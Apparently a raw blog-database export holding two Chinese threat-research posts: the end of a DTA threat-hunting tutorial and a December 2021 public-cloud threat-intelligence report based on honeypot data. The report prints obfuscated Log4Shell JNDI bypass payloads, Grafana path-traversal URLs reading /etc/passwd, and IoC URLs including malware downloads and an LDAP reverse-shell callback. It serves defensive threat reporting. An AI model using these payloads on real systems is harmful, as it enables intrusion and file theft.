100k、内网域名、有ICP备案或者Whois注册人是可靠机构的域名也不太可能是恶意域名。"]]],[1,"p",[[0,[],0,"在图-1，我们把上述两个经验变成DTA的操作。看过文章1的读者，可能对这个界面有些印象，它就是“多个IoC”小节提到的“威胁分析”页面，在那里，我们只是把它当成查询后台数据库工具来用，查看有没有数据命中IoC。在这里，我们则是将分析经验变成规则来操作和分析数据集，期望从中找出符合预期的数据。在选好相关选项后，点击“应用”按钮，可以观察到约700台活跃服务器一周内共访问的1000+个去重域名，变成了只剩下58个待分析的线索。"]]],[10,2],[1,"h3",[[0,[],0,"改进"]]],[1,"p",[[0,[],0,"但58个域名还是偏多，理想的数量是小于等于20，原因一个是在后续的数据关联分析阶段，人可以快速处理关联结果，减少精力耗费；另一个原因是DTA的威胁情报图，启动一轮分析只会对前20条记录进行关联扩展，这样只需开启一次分析就可以:)。为减少待分析域名数量，需要进一步优化查询表达式。"]]],[1,"p",[[0,[],0,"改进经验1：把流行度高的域名过滤掉。因为流行度高的域名，大概率是白，如果是黑，也很容易被安全公司捕获并输出威胁情报，是未知威胁的概率低。因此把域名流行度调到8，至于为什么是8，不是7或者6，只能说是靠经验逐步调试得来，有点类似于厨师做菜时的少许盐~"]]],[1,"p",[[0,[],0,"改进经验2：图-1待分析域名列表包含了一些知名的站点，如“googleapis[.]com”， “gvt2[.]com” 等，通过域名SLD不等于表达式去掉。"]]],[1,"p",[[0,[],0,"图-2，线索只剩下20个了。观察输出列表，“morphe[.]ru” 和 “amnsreiuojy[.]ru” 有“恶意域名”红色标签，表明是命中了威胁情报，这不是我们关注的对象。因此，下一步，需要的是确认这18个线索里，有没有未知威胁。"]]],[10,3],[1,"h3",[[0,[],0,"确认"]]],[1,"p",[[0,[],0,"点击“威胁情报图”，借助云端的安全大数据来辅助判断这18个域名的黑白。要说明的是，判定域名黑白的方法有很多，这里的示例只是其中一种，并不代表非此不可。"]]],[10,4],[1,"p",[[0,[],0,"图-3里20个域名聚成了3类。左上角，有3个没命中威胁情报的域名*[.]deltaheavy[.]ru和2个已知的恶意域名聚在了一起，放大查看图-4通讯样本的详情，操作方法是用鼠标划停或点击样本框，均已标识为恶意样本，且为同一个家族。如果管理员能及时处理威胁情报给出的告警，这3个域名是能关联出来并清除掉的，所以它们不算是真正意义上的未知威胁。"]]],[10,5],[1,"p",[[0,[],0,"继续分析，我们找到了一个没有命中威胁情报的未知威胁 “www[.]aieov[.]com” (图-5)。通过搜索，属于一个已知的恶意家族Floxif。因此，这个未知威胁属于视野局限类型的未知威胁，不是那种有针对性攻击的高级威胁。真正的高级威胁，在确认这一步需要补充更多的证据细节。"]]],[10,6],[1,"h3",[[0,[],0,"分辨"]]],[1,"p",[[0,[],0,"在DTA系统上，通过观察资产在访问恶意域名时是不是有持续性，有没有可疑的伴生域名，源端口是随机的还是有规律的等行为细节，来分辨一个资产是不是被真实感染。"]]],[1,"p",[[0,[],0,"点击“威胁分析”页面的域名，跳转到域名详情页面。在右上角指定的时间范围内，通过绿色的流量图确认，有一个资产持续5天访问了该域名，说明恶意程序可能正在后台和C&C保持通信。真实感染的概率+1。多说一句题外话，如果想对单个域名做威胁分析，就在这个页面展开。"]]],[10,7],[1,"p",[[0,[],0,"点击左侧栏的资产“10.233.*.*”，跳转到资产详情页面。选择右侧的过滤条件，把白域名都排除掉利于分析。发现了一个伴生域名“5isohu[.]com”，和已知的恶意域名访问模式一致，通过查看样本网络行为，确认样本会同时访问两个域名。真实感染的概率+1。"]]],[10,8],[1,"p",[[0,[],0,"把左侧栏底部的滚动条拉到最右侧，点击“5isohu[.]com”最右侧的\">\"按钮，跳到“时间请求线”标签页，可以看到两个域名是成对出现的，且客户端端口呈随机分布，说明这是来自操作系统的请求，而不是虚拟机等测试环境的请求。真实感染的概率+1。如果有逆向分析样本的能力，还可以比较样本访问域名的逻辑是不是和左侧栏的时间间隔一致。至此，剩下的就是如何进行威胁处置了。"]]],[10,9],[1,"h2",[[0,[],0,"结语"]]],[1,"p",[[0,[],0,"上述的操作过程，以DTA为操作台，将用户数据和360的安全大数据融合，找出了潜在的未知威胁。不过不知道读者有没有这样的感觉，即使是这个简单的入门示例，如果整个过程完全依赖人工一步步地从查找线索开始，到确认威胁，到最后的分辨真实感染，耗费的精力其实不小。"]]],[1,"p",[[0,[],0,"为了减少网络安全分析人员的工作量，DTA构建了多个模型，在后台自动完成了上述3个阶段的大部分工作，至于详情如何，下一篇介绍。"]]],[1,"p",[[0,[],0,"产品、商务咨询，请联系 "],[0,[3],1,"[email protected]"]]]],"ghostVersion":"3.0"} | 61caba9d3819e500076375ed |
post | null | 2022-01-14T02:20:06.000Z | 63873b9a8b1c1e0007f53006 | public-cloud-threat-intelligence-202112 | 0 | 2022-06-24T03:46:31.000Z | public | published | null | 2022-01-19T03:57:18.000Z | 公有云网络安全威胁情报（202112） | <!--kg-card-begin: markdown--><h3 id="1">1. 概述</h3>
<p>云服务具备部署方便、资源灵活弹性、按需付费等优势，各类企业、政府、事业单位、高校和研究机构近年来都参与到了“上云”的潮流中。然而，随着越来越多各行各业的敏感数据“上云”，云安全问题的重要性和紧迫性也越发突出。近年来，全球云服务器被DDoS攻击、入侵、网站页面恶意修改、敏感数据泄露、加密勒索、恶意挖矿等安全事件频发，特别是提供公网服务的云主机，时时刻刻面临着<strong>漏洞攻击、暴力破解、Bot流量等</strong>云上网络威胁，这要求无论是云服务商还是云上用户都需要时刻做好威胁检测和处置的准备。</p>
<p>云安全的关键是“知己知彼”。“知己”就是做好云上资产、组件、数据和漏洞的管理，包括对云上数据按照敏感程度分类管控、对云上资产和组件做好清点和监控，及时全面修复漏洞，保证云产品安全配置正确等。而“知彼”就是及时发现和阻断各类外部网络威胁。传统的以硬件为载体的各类安全产品难以部署于云端资产，无法适应公有云轻量、虚拟化、灵活取用的特点。而威胁情报结合云原生防火墙，不需要复杂的部署和配置，就可实现云上资产对公网威胁的全面防护和管控。</p>
<p>根据360 Anglerfish蜜罐系统捕获的威胁情报数据，本文从近期云上热门漏洞攻击、公有云资产对外扫描攻击、Bot流量等维度分析2021年12月云上网络威胁的特点。我们认为，威胁情报在识别和防范这些云上网络威胁上可以发挥重要作用。</p>
<h3 id="2">2. 云上热门漏洞攻击威胁</h3>
<h4 id="21apachelog4j2">2.1 Apache Log4j2远程代码执行漏洞</h4>
<p>北京时间2021年12月9日深夜，Apache Log4j2被爆出远程代码执行漏洞（CVE-2021-44228），Log4j2是诸多Java应用的基础组件，漏洞的利用又非常简单，因此这个“史诗级漏洞”一经公开，攻击便立马蜂拥而来。部署了大量Java业务的公有云自然而然成为了攻击者主要的攻击目标。</p>
<p>12月10日0点，蜜罐节点捕获到了第一个Log4j2漏洞攻击，随后不到48个小时，已有分布在全球各大云服务器上的蜜罐节点捕获到了攻击<strong>共7146次</strong>，攻击者的动作之快让人始料未及。在这个漏洞曝出后，我们也从蜜罐视角发布了<a href="__GHOST_URL__/apache-log4j2-vulnerability-attack-trend-from-the-perspective-of-honeypot/">相关文章</a>。</p>
<p>这个漏洞由于Log4j2的语法特性，通过${lower}，${upper}，${${::-}}等语法对关键词进行分割，或是转换为Unicode字符后，仍然可以正常执行命令(下面给出了一些绕过原始Payload检测的例子);此外，该漏洞的利用点非常多，只要是输出日志的地方都有可能被攻击者利用。这两点导致只对原始Payload进行检测的传统安全产品，几乎没办法全面防范此类威胁。而使用威胁情报，用户不需要任何本地流量特征，就可以直接获取有威胁的IP、URL等信息，相比于对用户本地流量检测准确率更高、使用更方便。</p>
<pre><code class="language-java">${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://x.x.x.x:xxxx/#test}
${${lower:j}${lower:n}${lower:d}${lower:i}:r${lower:m}${lower:i}://x.x.x.x:xxxx/#test}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://xx.xx.xx.xx/#test}
${j${zG:xuc:-n}d${wXuN:-i}:dns:/${emWDv:Jdq:-/}${${RfdM:txf:-h}o${O:atnIDv:-s}${O:YM:sdm:fP:DPYEXx:-t}${fiShn:P:NA:-N}${v:h:rLVoL:-a}me}.b2${Ld:Tnzo:-h}p${cCC:-8}r${aoq:FF:-.}dnslog.${GL:-c}n}
${${ogEqGS:RDg:fUxz:-j}${ldB:E:N:PG:-n}${VzvPou:-d}${lr:oRfT:-i}${nw:-:}${j:-d}${EcFIy:YQUG:zKWwP:jNq:DjGp:-n}${sjydOt:S:eCS:QQ:xRDd:-s}${nLj:F:TptB:-:}${WqfK:rWy:YVXz:-/}${jyvggg:wrwT:hp:-/}${${Pw:-h}${R:-o}${Y:bhV:-s}${sNr:Oiv:RBRrv:ISrLbB:rCBSw:-t}${h:JeAg:-N}${Se:L:dxEa:Ssx:-a}${HYtfSz:AInf:gHTSJ:LkD:Wxqq:-m}${uxdytq:-e}}${EBxUv:wf:UmUc:dIDP:-.}${k:x:Fq:muQmwT:-b}${XioYP:Qc:-2}${Gnr:NY:-h}${YhRuP:tIAVJ:W:-p}${veLxt:pVKX:MPGdO:lNo:LXWtN:-8}${NqPAoG:lhEirn:QhJOS:QIMJ:-r}${wx:-.}${H:wA:UTu:s:TwBzM:-d}${VGlR:CXlxMV:PSJ:-n}${b:wMDG:wn:PjYam:-s}${Nmdg:y:sNnW:-l}${rF:GRmC:-o}${RkV:QRb:-g}${LDBWIn:dMxv:-.}${pNgiK:az:arNf:-c}${OgV:XPTn:-n}}
</code></pre>
<h4 id="22grafana">2.2 Grafana任意文件读取漏洞</h4>
<p>12月另一个高危漏洞和Apache Log4j2同样有着多样且难以识别的流量特征。12月7日，用于数据统计和监控的可视化工具Grafana公开了一个未授权任意文件读取漏洞（CVE-2021-43798），允许攻击者不经过身份验证就访问目标机器的敏感数据。该漏洞的一大特点就是可用于漏洞利用的URL非常多，目前我们已确认有52类URL都可以攻击成功，以下是其中一部分URL：</p>
<pre><code class="language-html">/public/plugins/grafana-clock-panel/../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../etc/passwd
</code></pre>
<p>由于可以攻击的URL非常多，我们很难通过指定URL的流量特征来判断攻击。而威胁情报生产提供者可以使用蜜罐等更多手段获取更加准确、全面的威胁信息，解决了用户侧本地检测受到的各种限制，用户只需要直接根据威胁情报进行屏蔽处理即可。</p>
<p>可以看出，当前高危漏洞攻击越来越呈现出从漏洞公开到攻击爆发时间短，攻击方式灵活多变，难以通过简单规则过滤的特点。这导致漏洞公开后，留给甲方应急响应人员的时间越来越少，难度越来越大，传统基于流量规则的安全产品也越来越难以全面防范。此外，硬件形式的传统安全产品也难以与公有云服务相兼容。针对这些问题，可以采用威胁情报以提高云安全应急响应能力，降低对突发安全威胁和未知安全威胁反应时间，降低突发安全事件对企业业务的影响。</p>
<h3 id="3">3. 公有云资产的对外扫描和攻击</h3>
<p>除互联网等特定行业需要爬虫对外扫描提供服务外，正常运行业务的云主机不应当出现在公网上扫描其它设备，甚至发起漏洞攻击的行为。一旦发生了这些行为，要么该主机直接由黑客购买并使用，要么已被黑客入侵，成为黑客的代理或“肉鸡”。</p>
<p>在对外发起扫描攻击的国内主要企事业单位和政府机关的云资产中，来自事业单位和政府机关的云资产IP占90%以上。一方面说明事业单位、政府机关的云资产往往具有比较高的价值，容易吸引黑客的攻击，例如12月发现对外攻击的案例中包括某直辖市的区级人大代表办事系统，以及某中央部委下属研究所。另一方面也说明这些单位在业务上云的过程中，安全意识还是不够强，未做好充分的安全措施。</p>
<p><img src="__GHOST_URL__/content/images/2022/01/image-20220113142707693-1-2.png" alt="image-20220113142707693-1-2" loading="lazy"></p>
<p>超过75%的对外扫描和攻击的云资产架设在阿里云上，这与阿里云在国内市场，特别是政企云市场拥有领先的市场占有率相关。</p>
<p><img src="__GHOST_URL__/content/images/2022/01/image-20220114172015197-1.png" alt="image-20220114172015197-1" loading="lazy"></p>
<p>而从扫描和攻击的具体行为来看，主要是Redis漏洞攻击、FTP和SSH协议的扫描和暴力破解。该类自动化攻击在互联网上较为流行，各云服务商和上云的用户单位应当重点防范，包括但不限于及时升级相关应用至最新版本，设置强度足够高的密码，保证应用的安全设置配置正确，以及使用云服务商提供的云安全产品等。</p>
<p><img src="__GHOST_URL__/content/images/2022/01/image-20220113144725715-1.png" alt="image-20220113144725715-1" loading="lazy"></p>
<p>从向外传播恶意软件来看，主要传播了以下6类恶意软件，重点注意云上资产被植入木马窃取信息和被恶意挖矿的风险。</p>
<p><img src="__GHOST_URL__/content/images/2022/01/image-20220113185749736-1.png" alt="image-20220113185749736-1" loading="lazy"></p>
<h3 id="4bot">4. 云上Bot流量</h3>
<p>除了层出不穷的漏洞攻击和暴力破解外，Bot流量也是云上资产所面临的另一大威胁。<a href="https://zhuanlan.zhihu.com/p/327728621">根据CloudFlare的统计</a>，互联网上有40%的流量都来自于各类Bot，良好的Bot可以优化搜索结果，帮助提高网站搜索排名和用户体验，监控网站服务状态等，然而也有许多恶意Bot被各类黑灰产组织用于窃取网站敏感数据、暴力破解、发送垃圾邮件、抢票秒杀、广告刷量等恶意活动，这些活动损害正常用户体验和业务提供方利益，有的甚至涉嫌违法。特别是电商、游戏、广告等行业，已成为Bot流量的重灾区。360 Anglerfish蜜罐系统的威胁情报除了用于防范漏洞攻击外，也可以用于识别Bot流量。</p>
<p>从Bot所使用的扫描工具来看，有80%的Bot使用了Zgrab作为扫描工具，这是一个与ZMap配合工作的应用层扫描器，可以从大量的域名/IP列表中快速找出含有特定指纹（运行特定服务）的机器，常被黑客用于寻找攻击目标。</p>
<p><img src="__GHOST_URL__/content/images/2022/01/image-20220113153015972-1.png" alt="image-20220113153015972-1" loading="lazy"></p>
<p>恶意Bot为了躲避防火墙等的拦截，通常会把User-Agent伪装成搜索引擎爬虫等良好的Actor，比如以下同时包含了多个搜索引擎爬虫关键词的恶意Payload：</p>
<pre><code class="language-http">User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm);googlebot|baiduspider|baidu|spider|sogou|bingbot|bot|yahoo|soso|sosospider|360spider|youdaobot|jikeSpider;)
</code></pre>
<p>为了提高Bot的识别准确度，直接接入威胁情报是一种最简单、直接、准确率高的方法。威胁情报可以与云防火墙等云原生安全产品配合使用，对云上网络攻击的预警和防护，Bot流量管理等都可以起到重要作用。希望这篇报告可以给云厂商和上云的甲方单位一些帮助和参考。</p>
<h3 id="5">5. 防护建议</h3>
<p>Apache Log4j2等高危漏洞的爆发给云安全也带来了巨大的挑战。建议云上用户做好以下防范措施：<br>
1）关注与云上资产相关应用和组件的漏洞信息，及时响应。<br>
2）及时更新相关应用组件至最新版本，设置高强度的密码。<br>
3）避免将没有必要的端口和服务暴露在公网上。<br>
4）使用云服务商提供的云安全产品，并确保正确配置。<br>
5）在云安全产品中接入准确率高的威胁情报。</p>
<h3 id="6">6. 联系我们</h3>
<p>感兴趣的读者，可以通过邮箱chenrugang[at]360.cn联系我们。</p>
<h3 id="712">7. 12月云服务器发起攻击总体情况</h3>
<p>2021年12月，360网络安全研究院 Anglerfish蜜罐共捕获到全球50976个主流公有云IP的1.008亿个会话，其中有漏洞攻击的IP 9666个，传播恶意软件的IP 4097个。阿里云、DigitalOcean、腾讯云、亚马逊AWS、微软Azure和Linode是对外发起攻击最多的云服务商。与上个月相比，腾讯云的攻击IP数量有明显增加。</p>
<p><a href="__GHOST_URL__/content/images/2022/01/image-20220110112255852.png"><img src="__GHOST_URL__/content/images/2022/01/image-20220110112255852.png" class="kg-image"/></a></p>
<p>12月16日云服务器攻击会话数出现突增，属于IP地址为164.90.212.81的DigitalOcean云服务器在12月16日当天发送了超过140万次SSH爆破攻击。</p>
<p><a href="__GHOST_URL__/content/images/2022/01/image-20220114173610159.png"><img src="__GHOST_URL__/content/images/2022/01/image-20220114173610159.png" class="kg-image"/></a></p>
<p>在被云服务器IP攻击的产品或所属厂商上，Redis仍旧保持第一，由于12月Apache Log4j2高危漏洞的爆发，Apache上升到第3位。</p>
<p><a href="__GHOST_URL__/content/images/2022/01/image-20220114174655905.png"><img src="__GHOST_URL__/content/images/2022/01/image-20220114174655905.png" class="kg-image"/></a></p>
<p>在CVE漏洞中，Hyland ImageNow Server拒绝服务漏洞（CVE-2018-19629）最为热门，Apache Log4j2远程代码执行漏洞（CVE-2021-44228）12月爆发，位列第二位，另一个较新的热门漏洞是排在第四的Laravel的代码执行漏洞（CVE-2021-3129）。</p>
<p><a href="__GHOST_URL__/content/images/2022/01/image-20220117170615876.png"><img src="__GHOST_URL__/content/images/2022/01/image-20220117170615876.png" class="kg-image"/></a></p>
<p>在发送垃圾邮件和钓鱼邮件数量方面，国内云服务商表现较好，前4均为国外云服务商，腾讯云有一个IP（43.135.157.144）发送了一封垃圾邮件，排在并列第5。</p>
<p><a href="__GHOST_URL__/content/images/2022/01/image-20220114175102374.png"><img src="__GHOST_URL__/content/images/2022/01/image-20220114175102374.png" class="kg-image"/></a></p>
<p>在传播恶意软件方面，恶意挖矿、木马下载器和YellowDye位列前三位。</p>
<p><a href="__GHOST_URL__/content/images/2022/01/image-20220117140000255.png"><img src="__GHOST_URL__/content/images/2022/01/image-20220117140000255.png" class="kg-image"/></a></p>
<p>阿里云、腾讯云和DigitalOcean是传播恶意软件的IP数量前3位。</p>
<p><a href="__GHOST_URL__/content/images/2022/01/image-20220118114457689.png"><img src="__GHOST_URL__/content/images/2022/01/image-20220118114457689.png" class="kg-image"/></a></p>
<p>以下是本月前10位的恶意软件下载服务器，github也成为了恶意软件的传播渠道：</p>
<table>
<thead>
<tr>
<th style="text-align:center">域名/IP</th>
<th style="text-align:center">IP数</th>
<th style="text-align:center">恶意软件数</th>
<th style="text-align:center">恶意软件种类</th>
<th style="text-align:center">传播次数</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align:center">oracle.zzhreceive.top</td>
<td style="text-align:center">2,521</td>
<td style="text-align:center">724</td>
<td style="text-align:center">10</td>
<td style="text-align:center">773,642</td>
</tr>
<tr>
<td style="text-align:center">58.226.35.74</td>
<td style="text-align:center">2,129</td>
<td style="text-align:center">2</td>
<td style="text-align:center">1</td>
<td style="text-align:center">77,001</td>
</tr>
<tr>
<td style="text-align:center">107.189.3.150</td>
<td style="text-align:center">885</td>
<td style="text-align:center">3</td>
<td style="text-align:center">1</td>
<td style="text-align:center">10,109</td>
</tr>
<tr>
<td style="text-align:center">en2an.top</td>
<td style="text-align:center">856</td>
<td style="text-align:center">152</td>
<td style="text-align:center">2</td>
<td style="text-align:center">43,140</td>
</tr>
<tr>
<td style="text-align:center">45.133.203.192</td>
<td style="text-align:center">629</td>
<td style="text-align:center">7</td>
<td style="text-align:center">4</td>
<td style="text-align:center">70,116</td>
</tr>
<tr>
<td style="text-align:center">195.58.38.171</td>
<td style="text-align:center">429</td>
<td style="text-align:center">130</td>
<td style="text-align:center">4</td>
<td style="text-align:center">25,991</td>
</tr>
<tr>
<td style="text-align:center">104.192.82.138</td>
<td style="text-align:center">271</td>
<td style="text-align:center">38</td>
<td style="text-align:center">5</td>
<td style="text-align:center">26,272</td>
</tr>
<tr>
<td style="text-align:center">195.242.111.238</td>
<td style="text-align:center">265</td>
<td style="text-align:center">4</td>
<td style="text-align:center">4</td>
<td style="text-align:center">28,345</td>
</tr>
<tr>
<td style="text-align:center">github.com</td>
<td style="text-align:center">209</td>
<td style="text-align:center">1</td>
<td style="text-align:center">1</td>
<td style="text-align:center">280</td>
</tr>
<tr>
<td style="text-align:center">crypto.htxreceive.top</td>
<td style="text-align:center">166</td>
<td style="text-align:center">40</td>
<td style="text-align:center">7</td>
<td style="text-align:center">223,484</td>
</tr>
</tbody>
</table>
<p>在密码爆破攻击方面，DigitalOcean发起的爆破攻击最多，腾讯云和阿里云排在二、三位，密码爆破攻击最多的协议是SSH协议。</p>
<p><a href="__GHOST_URL__/content/images/2022/01/image-20220117140841769.png"><img src="__GHOST_URL__/content/images/2022/01/image-20220117140841769.png" class="kg-image"/></a></p>
<h3 id="ioclist">附录：IoC List</h3>
<p>URL：</p>
<pre><code class="language-http">http://192.210.200.66:1234/xmss
http://194.40.243.24/libsystem.so
http://95.182.123.186/libsystem.so
http://194.40.243.24/kinsing
http://46.161.52.37/Exploit.sh
https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz
ldap://192.210.200.66:88/GroovyBypass/Comman
ldap://212.193.30.176:1389/o
ldap://107.172.214.23:88/TomcatBypass/ReverseShell/107.172.214.23/8899
ldap://136.144.41.116:1389/ane6fo
</code></pre>
<p>md5：</p>
<pre><code>8e601a81ad913050e82e5b3020692927
ccef46c7edf9131ccffc47bd69eb743b
648effa354b3cbaad87b45f48d59c616
c15d3b91bf591bd23e09858c25b052dc
bb5c0baa20c0dc263d2922cc2c9bd924
b9c17b9d324fbf561eb568dff665f801
dbc9125192bd1994cbb764f577ba5dda
c42d4164050a98005ad10c9299b084ac
d791088579581ba5dd4b57d2d6028731
e06a0e1f4164e02751c5178879b9f07c
</code></pre>
<!--kg-card-end: markdown--> | 1. 概述
云服务具备部署方便、资源灵活弹性、按需付费等优势，各类企业、政府、事业单位、高校和研究机构近年来都参与到了“上云”的潮流中。然而，随着越来越多各行各业的敏感数据“上云”，云安全问题的重要性和紧迫性也越发突出。近年来，全球云服务器被DDoS攻击、入侵、网站页面恶意修改、敏感数据泄露、加密勒索、恶意挖矿等安全事件频发，特别是提供公网服务的云主机，时时刻刻面临着漏洞攻击、暴力破解、Bot流量等云上网络威胁，这要求无论是云服务商还是云上用户都需要时刻做好威胁检测和处置的准备。
云安全的关键是“知己知彼”。“知己”就是做好云上资产、组件、数据和漏洞的管理，包括对云上数据按照敏感程度分类管控、对云上资产和组件做好清点和监控，及时全面修复漏洞，保证云产品安全配置正确等。而“知彼”就是及时发现和阻断各类外部网络威胁。传统的以硬件为载体的各类安全产品难以部署于云端资产，无法适应公有云轻量、虚拟化、灵活取用的特点。而威胁情报结合云原生防火墙，不需要复杂的部署和配置，就可实现云上资产对公网威胁的全面防护和管控。
根据360 Anglerfish蜜罐系统捕获的威胁情报数据，本文从近期云上热门漏洞攻击、公有云资产对外扫描攻击、Bot流量等维度分析2021年12月云上网络威胁的特点。我们认为，威胁情报在识别和防范这些云上网络威胁上可以发挥重要作用。
2. 云上热门漏洞攻击威胁
2.1 Apache Log4j2远程代码执行漏洞
北京时间2021年12月9日深夜，Apache Log4j2被爆出远程代码执行漏洞（CVE-2021-44228），Log4j2是诸多Java应用的基础组件，漏洞的利用又非常简单，因此这个“史诗级漏洞”一经公开，攻击便立马蜂拥而来。部署了大量Java业务的公有云自然而然成为了攻击者主要的攻击目标。
12月10日0点，蜜罐节点捕获到了第一个Log4j2漏洞攻击，随后不到48个小时，已有分布在全球各大云服务器上的蜜罐节点捕获到了攻击共7146次，攻击者的动作之快让人始料未及。在这个漏洞曝出后，我们也从蜜罐视角发布了相关文章。
这个漏洞由于Log4j2的语法特性，通过${lower}，${upper}，${${::-}}等语法对关键词进行分割，或是转换为Unicode字符后，仍然可以正常执行命令(下面给出了一些绕过原始Payload检测的例子);此外，该漏洞的利用点非常多，只要是输出日志的地方都有可能被攻击者利用。这两点导致只对原始Payload进行检测的传统安全产品，几乎没办法全面防范此类威胁。而使用威胁情报，用户不需要任何本地流量特征，就可以直接获取有威胁的IP、URL等信息，相比于对用户本地流量检测准确率更高、使用更方便。
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://x.x.x.x:xxxx/#test}
${${lower:j}${lower:n}${lower:d}${lower:i}:r${lower:m}${lower:i}://x.x.x.x:xxxx/#test}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://xx.xx.xx.xx/#test}
${j${zG:xuc:-n}d${wXuN:-i}:dns:/${emWDv:Jdq:-/}${${RfdM:txf:-h}o${O:atnIDv:-s}${O:YM:sdm:fP:DPYEXx:-t}${fiShn:P:NA:-N}${v:h:rLVoL:-a}me}.b2${Ld:Tnzo:-h}p${cCC:-8}r${aoq:FF:-.}dnslog.${GL:-c}n}
${${ogEqGS:RDg:fUxz:-j}${ldB:E:N:PG:-n}${VzvPou:-d}${lr:oRfT:-i}${nw:-:}${j:-d}${EcFIy:YQUG:zKWwP:jNq:DjGp:-n}${sjydOt:S:eCS:QQ:xRDd:-s}${nLj:F:TptB:-:}${WqfK:rWy:YVXz:-/}${jyvggg:wrwT:hp:-/}${${Pw:-h}${R:-o}${Y:bhV:-s}${sNr:Oiv:RBRrv:ISrLbB:rCBSw:-t}${h:JeAg:-N}${Se:L:dxEa:Ssx:-a}${HYtfSz:AInf:gHTSJ:LkD:Wxqq:-m}${uxdytq:-e}}${EBxUv:wf:UmUc:dIDP:-.}${k:x:Fq:muQmwT:-b}${XioYP:Qc:-2}${Gnr:NY:-h}${YhRuP:tIAVJ:W:-p}${veLxt:pVKX:MPGdO:lNo:LXWtN:-8}${NqPAoG:lhEirn:QhJOS:QIMJ:-r}${wx:-.}${H:wA:UTu:s:TwBzM:-d}${VGlR:CXlxMV:PSJ:-n}${b:wMDG:wn:PjYam:-s}${Nmdg:y:sNnW:-l}${rF:GRmC:-o}${RkV:QRb:-g}${LDBWIn:dMxv:-.}${pNgiK:az:arNf:-c}${OgV:XPTn:-n}}
2.2 Grafana任意文件读取漏洞
12月另一个高危漏洞和Apache Log4j2同样有着多样且难以识别的流量特征。12月7日，用于数据统计和监控的可视化工具Grafana公开了一个未授权任意文件读取漏洞（CVE-2021-43798），允许攻击者不经过身份验证就访问目标机器的敏感数据。该漏洞的一大特点就是可用于漏洞利用的URL非常多，目前我们已确认有52类URL都可以攻击成功，以下是其中一部分URL：
/public/plugins/grafana-clock-panel/../../../../../../etc/passwd
/public/plugins/dashlist/../../../../../../../../../etc/passwd
/public/plugins/stackdriver/../../../../../../../../../etc/passwd
/public/plugins/heatmap/../../../../../../../../../etc/passwd
/public/plugins/prometheus/../../../../../../../../../etc/passwd
/public/plugins/table/../../../../../../../../../etc/passwd
/public/plugins/opentsdb/../../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../etc/passwd
/public/plugins/graphite/../../../../../../../../../etc/passwd
/public/plugins/elasticsearch/../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../etc/passwd
/public/plugins/pluginlist/../../../../../../../../../etc/passwd
/public/plugins/influxdb/../../../../../../../../../etc/passwd
/public/plugins/cloudwatch/../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../etc/passwd
/public/plugins/postgres/../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../etc/passwd
/public/plugins/alertlist/../../../../../../../../../../../../../../../../../../../etc/passwd
/public/plugins/graph/../../../../../../../../../../../../../../../etc/passwd
/public/plugins/zipkin/../../../../../../../../../etc/passwd
/public/plugins/text/../../../../../../../../../../../../../../../../etc/passwd
/public/plugins/tempo/../../../../../../../../../etc/passwd
由于可以攻击的URL非常多，我们很难通过指定URL的流量特征来判断攻击。而威胁情报生产提供者可以使用蜜罐等更多手段获取更加准确、全面的威胁信息，解决了用户侧本地检测受到的各种限制，用户只需要直接根据威胁情报进行屏蔽处理即可。
可以看出，当前高危漏洞攻击越来越呈现出从漏洞公开到攻击爆发时间短，攻击方式灵活多变，难以通过简单规则过滤的特点。这导致漏洞公开后，留给甲方应急响应人员的时间越来越少，难度越来越大，传统基于流量规则的安全产品也越来越难以全面防范。此外，硬件形式的传统安全产品也难以与公有云服务相兼容。针对这些问题，可以采用威胁情报以提高云安全应急响应能力，降低对突发安全威胁和未知安全威胁反应时间，降低突发安全事件对企业业务的影响。
3. 公有云资产的对外扫描和攻击
除互联网等特定行业需要爬虫对外扫描提供服务外，正常运行业务的云主机不应当出现在公网上扫描其它设备，甚至发起漏洞攻击的行为。一旦发生了这些行为，要么该主机直接由黑客购买并使用，要么已被黑客入侵，成为黑客的代理或“肉鸡”。
在对外发起扫描攻击的国内主要企事业单位和政府机关的云资产中，来自事业单位和政府机关的云资产IP占90%以上。一方面说明事业单位、政府机关的云资产往往具有比较高的价值，容易吸引黑客的攻击，例如12月发现对外攻击的案例中包括某直辖市的区级人大代表办事系统，以及某中央部委下属研究所。另一方面也说明这些单位在业务上云的过程中，安全意识还是不够强，未做好充分的安全措施。
超过75%的对外扫描和攻击的云资产架设在阿里云上，这与阿里云在国内市场，特别是政企云市场拥有领先的市场占有率相关。
